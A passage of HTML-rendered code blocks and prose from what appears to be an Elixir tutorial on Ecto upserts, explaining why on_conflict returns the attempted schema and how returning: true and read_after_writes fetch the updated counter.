&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might wonder why we fetched the schema from the database using &lt;code&gt;Usages.list_usages/0&lt;/code&gt; instead of using the one returned in &lt;code&gt;&amp;lbrace;:ok, usage&amp;rbrace;&lt;/code&gt;. The reason is that the &lt;code&gt;on_conflict&lt;/code&gt; fallback &lt;strong&gt;does not return the updated schema&lt;/strong&gt;. It returns the schema that we tried to insert instead, which has a counter of &lt;code&gt;1&lt;/code&gt;. This becomes clearer when we run the upsert in an &lt;code&gt;IEx&lt;/code&gt; shell:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Return values were shortened for brevity&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, &lt;code&gt;Usages.upsert_usage/1&lt;/code&gt; always returns a counter of &lt;code&gt;1&lt;/code&gt;. You have to fetch the updated counter yourself. There are different ways to achieve this, so let&apos;s have a look at them.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#fetching-the-new-state&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;fetching-the-new-state&quot;&gt;&lt;/a&gt;Fetching the new State&lt;/h2&gt;
&lt;p&gt;If you want to return the updated schema from your upsert function, you need to add the &lt;code&gt;returning: true&lt;/code&gt; option on the &lt;code&gt;Repo.insert/2&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;date: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;increment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;on_conflict: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;inc: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;increment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;set: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;conflict_target: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Add the following option:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;returning: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This option instructs Ecto to &lt;code&gt;read after write&lt;/code&gt;, which means that it fetches the updated schema from the database after the &lt;code&gt;on_conflict&lt;/code&gt; operation. &lt;strong&gt;This means that you perform two database calls, a write and then a read!&lt;/strong&gt;. If you care about the performance of your upserts, don&apos;t use this option since it will always fetch the entire updated schema by default. Instead, you can fetch the schema whenever you need it manually.&lt;/p&gt;
&lt;p&gt;Now, with the &lt;code&gt;returning: true&lt;/code&gt; option in place, let&apos;s repeat our instructions in the &lt;code&gt;IEx&lt;/code&gt; shell:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Return values were shortened for brevity&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_usages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This looks more like expected! Ecto now fetches the entire schema after the update.&lt;/p&gt;
&lt;p&gt;If you want to fetch only certain fields and not the entire schema, you can specify them by &lt;code&gt;returning: [:my_field, :another_field]&lt;/code&gt;. This will instruct Ecto to only read the specified fields after the update and not the entire schema.&lt;/p&gt;
&lt;p&gt;Another option is to add &lt;code&gt;read_after_writes: true&lt;/code&gt; to the fields in your schema definition:&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Usages.Usage&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;usages&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Instruct Ecto to always read this field&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# from the database after every insert, update, or delete.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:counter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;read_after_writes: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we recompile our code and execute the &lt;code&gt;IEx&lt;/code&gt; instructions again, it will show the same result. Only the &lt;code&gt;counter&lt;/code&gt;-field is read after the &lt;code&gt;on_conflict&lt;/code&gt; operation finishes now. Be aware that Ecto will always read the &lt;code&gt;counter&lt;/code&gt; field from the database for all other database operations as well. So, even if you update another field of the schema, Ecto will always fetch its &lt;code&gt;counter&lt;/code&gt;-field. Even when the counter field didn&apos;t change.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Heads up&lt;/strong&gt;: The &lt;code&gt;returning: true&lt;/code&gt; and &lt;code&gt;read_after_writes: true&lt;/code&gt; options only work for Postgres and raise an error in MySQL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#using-upserts-with-binary-ids&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;using-upserts-with-binary-ids&quot;&gt;&lt;/a&gt;Using Upserts with Binary IDs&lt;/h2&gt;
&lt;p&gt;Ecto generates a new id whenever it tries to insert a schema with a &lt;code&gt;binary_id&lt;/code&gt;. Upserting such schemas can become confusing if you don&apos;t use &lt;code&gt;returning: true&lt;/code&gt;. Have a look at the following &lt;code&gt;IEx&lt;/code&gt; instructions:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Return values were shortened for brevity&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usages&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upsert_usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;c3181047-ee1a-4621-94bc-e3a4b0a88d12&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
